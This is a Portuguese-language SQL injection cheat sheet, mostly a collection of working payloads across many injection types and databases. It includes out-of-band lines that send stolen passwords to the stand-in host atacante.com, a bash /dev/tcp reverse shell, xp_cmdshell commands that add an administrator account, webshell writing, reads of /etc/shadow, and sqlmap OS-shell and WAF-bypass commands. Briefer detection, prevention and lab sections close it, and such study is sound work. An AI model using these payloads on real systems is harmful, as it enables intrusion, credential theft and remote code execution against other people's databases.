O que é SQL Injection e por que acontece
SQL Injection ocorre quando input do usuário é concatenado diretamente em uma query SQL sem sanitização ou parametrização adequada. O banco de dados não consegue distinguir código SQL legítimo de dados fornecidos pelo usuário — ele simplesmente executa tudo.
-- Código PHP vulnerável
$query = "SELECT * FROM users WHERE username='" . $_GET['user'] . "'";
-- Input normal: admin
SELECT * FROM users WHERE username='admin'
-- Input malicioso: ' OR '1'='1
SELECT * FROM users WHERE username='' OR '1'='1'
-- Retorna TODOS os usuáriosIdentificação de Pontos de Injeção
Qualquer parâmetro que vá para o banco é candidato: GET/POST params, cookies, headers HTTP, JSON bodies, XML, paths de URL.
-- Teste básico: injetar caractere especial
' " ) ] -- #
-- Se a aplicação retornar erro de SQL ou comportamento anormal = vulnerável
-- Exemplos de respostas que indicam SQLi:
You have an error in your SQL syntax
ORA-01756: quoted string not properly terminated
Unclosed quotation mark after the character string
Warning: mysql_fetch_array()Tipos de SQL Injection
1. Classic / In-Band (Error-Based)
A resposta chega no mesmo canal HTTP. Erros de banco expostos revelam dados diretamente.
-- MySQL: extractvalue() para exfiltrar via erro
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()))) --
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT user()))) --
-- MySQL: updatexml()
' AND UPDATEXML(1, CONCAT(0x7e, (SELECT @@datadir)), 1) --
-- MSSQL: converter erro para exfiltrar
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --
-- Oracle: usando ctxsys.drithsx.sn
' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE rownum=1)) --2. Union-Based
Injeta um segundo SELECT cujos resultados aparecem na resposta. Requer descobrir o número de colunas e tipos compatíveis.
-- Passo 1: descobrir número de colunas com ORDER BY
' ORDER BY 1 -- (sem erro)
' ORDER BY 2 -- (sem erro)
' ORDER BY 5 -- (erro = há 4 colunas)
-- Passo 2: descobrir com UNION SELECT nulos
' UNION SELECT NULL,NULL,NULL,NULL --
-- Passo 3: identificar coluna que exibe texto
' UNION SELECT 'a',NULL,NULL,NULL --
' UNION SELECT NULL,'a',NULL,NULL --
-- Passo 4: extrair dados
' UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables --
' UNION SELECT column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT username,password,NULL,NULL FROM users --
-- Concatenar múltiplos valores numa coluna
' UNION SELECT CONCAT(username,0x3a,password),NULL FROM users --
-- Oracle (sem information_schema)
' UNION SELECT table_name,NULL FROM all_tables --
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS' --3. Boolean-Based Blind
Sem dados na resposta, mas é possível inferir bit a bit pelo comportamento (página normal vs. erro/vazia).
-- Confirmar vulnerabilidade
' AND 1=1 -- → resposta normal
' AND 1=2 -- → resposta diferente
-- Extrair versão do banco caractere por caractere
' AND SUBSTRING(version(),1,1)='5' --
' AND ASCII(SUBSTRING(version(),1,1))>52 -- (busca binária)
-- Extrair nome do banco
' AND SUBSTRING(database(),1,1)='a' --
-- MySQL: extraindo dados char a char
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97 --
-- PostgreSQL: cast para boolean
' AND (SELECT SUBSTRING(usename,1,1) FROM pg_user LIMIT 1)='p' --4. Time-Based Blind
Quando não há diferença visual na resposta — o atraso na resposta confirma a condição.
-- MySQL: SLEEP()
' AND SLEEP(5) -- → delay de 5s = vulnerável
' AND IF(1=1, SLEEP(5), 0) -- → delay = condição verdadeira
' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0) --
-- MSSQL: WAITFOR DELAY
'; WAITFOR DELAY '0:0:5' --
'; IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '0:0:5' --
-- PostgreSQL: pg_sleep()
'; SELECT pg_sleep(5) --
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) IS NOT NULL --
-- Oracle: dbms_pipe.receive_message
'; EXECUTE dbms_pipe.receive_message(('a'),5) --
-- SQLite: randomblob (burn CPU para delay)
' AND 1=randomblob(999999999) --5. Out-of-Band (OOB)
Exfiltração via DNS ou HTTP para servidor controlado pelo atacante. Útil quando respostas in-band são bloqueadas.
-- MySQL: LOAD_FILE() com UNC path (Windows)
' AND LOAD_FILE(CONCAT('\\\\',( SELECT password FROM users LIMIT 1),'.atacante.com\\a')) --
-- MySQL: INTO OUTFILE para DNS (requires FILE privilege)
' UNION SELECT load_file(0x5c5c5c5c6174616361...) --
-- MSSQL: xp_dirtree via DNS
'; EXEC master..xp_dirtree '\\'+( SELECT TOP 1 password FROM users)+'.atacante.com\a' --
-- Oracle: UTL_HTTP
'; DECLARE req UTL_HTTP.REQ; BEGIN req := UTL_HTTP.BEGIN_REQUEST('http://atacante.com/'||(SELECT password FROM users WHERE rownum=1)); END; --
-- Oracle: UTL_INADDR.get_host_address (DNS)
' AND 1=UTL_INADDR.get_host_address((SELECT password FROM users WHERE rownum=1)||'.atacante.com') --6. Second-Order (Stored) SQLi
O payload é armazenado no banco sem execução imediata. Quando recuperado e usado em outra query, dispara.
-- Exemplo: cadastro com username malicioso
Username: admin'--
-- Registro salvo no banco: admin'--
-- Mais tarde, ao mudar senha:
UPDATE users SET password='nova' WHERE username='admin'--'
-- Equivale a: UPDATE users SET password='nova' WHERE username='admin'
-- Muda senha do admin sem autenticação!7. Stacked Queries
Permite executar múltiplos comandos SQL separados por ponto-e-vírgula. Suportado por MSSQL, PostgreSQL, SQLite. MySQL raramente via PDO.
-- MSSQL
'; INSERT INTO users VALUES ('hacker','hash123') --
'; EXEC xp_cmdshell('whoami') --
'; DROP TABLE logs --
-- PostgreSQL
'; CREATE TABLE cmd_exec(cmd_output text) --
'; COPY cmd_exec FROM PROGRAM 'id' --
'; SELECT * FROM cmd_exec --Execução de Comandos no OS
MSSQL — xp_cmdshell
-- Verificar se xp_cmdshell está habilitado
SELECT value FROM sys.configurations WHERE name='xp_cmdshell'
-- Habilitar (requer sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Executar comandos
EXEC xp_cmdshell 'whoami'
EXEC xp_cmdshell 'net user hacker Password123! /add'
EXEC xp_cmdshell 'net localgroup administrators hacker /add'
-- Reverse shell via PowerShell
EXEC xp_cmdshell 'powershell -enc BASE64_PAYLOAD'MySQL — Leitura/Escrita de Arquivos
-- Ler arquivos do sistema (requer FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL --
' UNION SELECT LOAD_FILE('/etc/shadow'),NULL,NULL --
' UNION SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts'),NULL,NULL --
-- Escrever webshell (requer INTO OUTFILE e dir gravável)
' UNION SELECT '' INTO OUTFILE '/var/www/html/shell.php' --
-- Verificar permissões
SELECT file_priv FROM mysql.user WHERE user=user();
SHOW VARIABLES LIKE 'secure_file_priv';PostgreSQL — COPY FROM PROGRAM
-- PostgreSQL 9.3+ como superuser
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
-- Reverse shell
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"';Extração de Metadados por Banco
-- MySQL / MariaDB
SELECT schema_name FROM information_schema.schemata;
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
SELECT column_name FROM information_schema.columns WHERE table_name='users';
SELECT user,password FROM mysql.user; -- hashes de usuários do banco
-- MSSQL
SELECT name FROM master.dbo.sysdatabases;
SELECT name FROM sysobjects WHERE xtype='U'; -- tabelas do usuário
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users');
SELECT loginname,password_hash FROM sys.sql_logins;
-- Oracle
SELECT owner,table_name FROM all_tables;
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';
SELECT username,password FROM dba_users;
SELECT banner FROM v$version;
-- PostgreSQL
SELECT datname FROM pg_database;
SELECT tablename FROM pg_tables WHERE schemaname='public';
SELECT column_name FROM information_schema.columns WHERE table_name='users';
SELECT usename,passwd FROM pg_shadow; -- requer superuser
-- SQLite
SELECT name FROM sqlite_master WHERE type='table';
SELECT sql FROM sqlite_master WHERE name='users';Bypass de Autenticação
-- Técnicas clássicas
admin'--
admin'#
admin'/*
' OR 1=1--
' OR 'x'='x
' OR 1=1 LIMIT 1--
-- Username e password separados
Username: admin'--
Password: qualquer_coisa
-- Operadores alternativos
' OR 2>1--
' OR 'abc'='abc'--
-- Para formulários que verificam username E password na mesma query
' OR 1=1 ORDER BY 1--
-- Bypass de MD5
Username: admin
Password: ' OR 1=1 AND password=MD5('123')--SQLMap — Automação Completa
# Teste básico de URL
sqlmap -u "https://alvo.com/item?id=1"
# Com método POST
sqlmap -u "https://alvo.com/login" --data="user=admin&pass=123"
# A partir de request salvo do Burp Suite
sqlmap -r request.txt
# Nível e risco máximos (mais testes, mais agressivo)
sqlmap -r request.txt --level=5 --risk=3
# Especificar banco de dados alvo
sqlmap -u "URL" --dbms=mysql
sqlmap -u "URL" --dbms=mssql
sqlmap -u "URL" --dbms=oracle
# Enumerar bancos, tabelas, colunas, dados
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D nome_db --tables
sqlmap -u "URL" -D nome_db -T users --columns
sqlmap -u "URL" -D nome_db -T users -C username,password --dump
# Dump completo do banco
sqlmap -u "URL" -D nome_db --dump-all
# Executar shell OS
sqlmap -u "URL" --os-shell
sqlmap -u "URL" --os-cmd="whoami"
# Subir arquivo
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# Bypass WAF com tamper scripts
sqlmap -u "URL" --tamper=space2comment
sqlmap -u "URL" --tamper=between,randomcase,space2comment
sqlmap -u "URL" --tamper=charunicodeencode
# Com cookies de sessão
sqlmap -u "URL" --cookie="PHPSESSID=abc123; role=user"
# Proxy via Burp
sqlmap -u "URL" --proxy=http://127.0.0.1:8080
# Injeção em header
sqlmap -u "URL" --headers="X-Forwarded-For: 1*"
sqlmap -u "URL" -p "X-Forwarded-For" --headers="X-Forwarded-For: 1"Bypass de WAF — Técnicas Avançadas
-- Case variation
SeLeCt * FrOm users
-- Comentários inline
SELECT/**/username/**/FROM/**/users
/*!50000SELECT*/ username FROM users (MySQL versioned comments)
-- Espaços alternativos (TAB, newline, form feed)
SELECT%09username%09FROM%09users
SELECT%0Ausername%0AFROM%0Ausers
-- Encoding
%27 OR %271%27%3D%271 (URL encoding)
%2527 (double URL encoding)
\' OR \'1\'=\'1 (backslash encoding)
-- Concatenação para ofuscar strings
-- MySQL
SELECT CONCAT(0x61,0x64,0x6d,0x69,0x6e) -- 'admin'
SELECT 0x61646d696e -- 'admin' em hex
-- MSSQL
SELECT CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)
-- Oracle
SELECT CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110) FROM dual
-- PostgreSQL
SELECT CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)
-- HTTP Parameter Pollution
?id=1&id=UNION SELECT...
-- Fragmentação de keywords
' UN/**/ION SEL/**/ECT ...
-- Científico (bypassa = em algumas regras)
' OR 1e0=1e0--
-- Operadores alternativos para = e LIKE
' OR 1 LIKE 1--
' OR 1 BETWEEN 0 AND 2--
' OR 1 IN(1)--Detecção (Blue Team)
Padrões em logs que indicam tentativas de SQLi:
# Nginx/Apache — patterns suspeitos
grep -E "('|\"|--|#|/\*|xp_|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|EXEC|CAST|CONVERT|CHAR|ASCII)" access.log
# WAF rules (ModSecurity — OWASP CRS)
SECRULE ARGS "@detectSQLi" "id:942100,phase:2,block"
# Alertas de time-based (requests muito lentos)
# SLEEP(), WAITFOR DELAY, pg_sleep aparecem em slow query logs
# MySQL slow query log
SET GLOBAL slow_query_log = 'ON';
SET GLOBAL long_query_time = 2;
SHOW VARIABLES LIKE 'slow_query_log_file';Prevenção
// PHP — Prepared Statements com PDO
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email AND password = :pass');
$stmt->execute(['email' => $email, 'pass' => $pass]);
// PHP — MySQLi
$stmt = $mysqli->prepare('SELECT * FROM users WHERE id = ?');
$stmt->bind_param('i', $id);
$stmt->execute();
// Java — PreparedStatement
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
ps.setInt(1, userId);
// Python — SQLAlchemy
result = db.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id})
// Node.js — mysql2
connection.execute('SELECT * FROM users WHERE id = ?', [userId], callback);
// Stored Procedures também ajudam, mas devem usar parâmetros internamente- Prepared Statements — única proteção real contra SQLi; o banco trata input como dado, nunca como código
- Princípio do Menor Privilégio — usuário do banco com SELECT apenas; sem FILE, sem xp_cmdshell, sem DROP
- Validação de Input — whitelist de tipos esperados (integer, UUID, etc.); nunca blacklist
- WAF — camada adicional (ModSecurity + OWASP CRS), nunca única defesa
- Error Handling — nunca exibir erros de SQL ao usuário; logar internamente
- Monitoramento — slow query log, alertas para queries incomuns
CVEs Notáveis
- CVE-2012-2122 — MySQL: bypass de autenticação por timing attack em comparação de senha
- CVE-2023-23752 — Joomla: SQLi sem autenticação via API REST
- CVE-2024-27956 — WordPress plugin WP Automatic: SQLi crítico (CVSS 9.8)
- CVE-2023-34362 — MOVEit Transfer: SQLi zero-day usado pelo grupo Cl0p para roubar dados de centenas de organizações
Labs para Praticar
- PortSwigger Web Academy — laboratórios de SQLi do básico ao avançado (gratuito)
- HackTheBox — boxes: Valentine, Chatterbox, Bart
- TryHackMe — room: SQL Injection, Advanced SQL Injection
- DVWA — Damn Vulnerable Web Application (local)
- SQLi-labs — ambiente dedicado com 65 desafios progressivos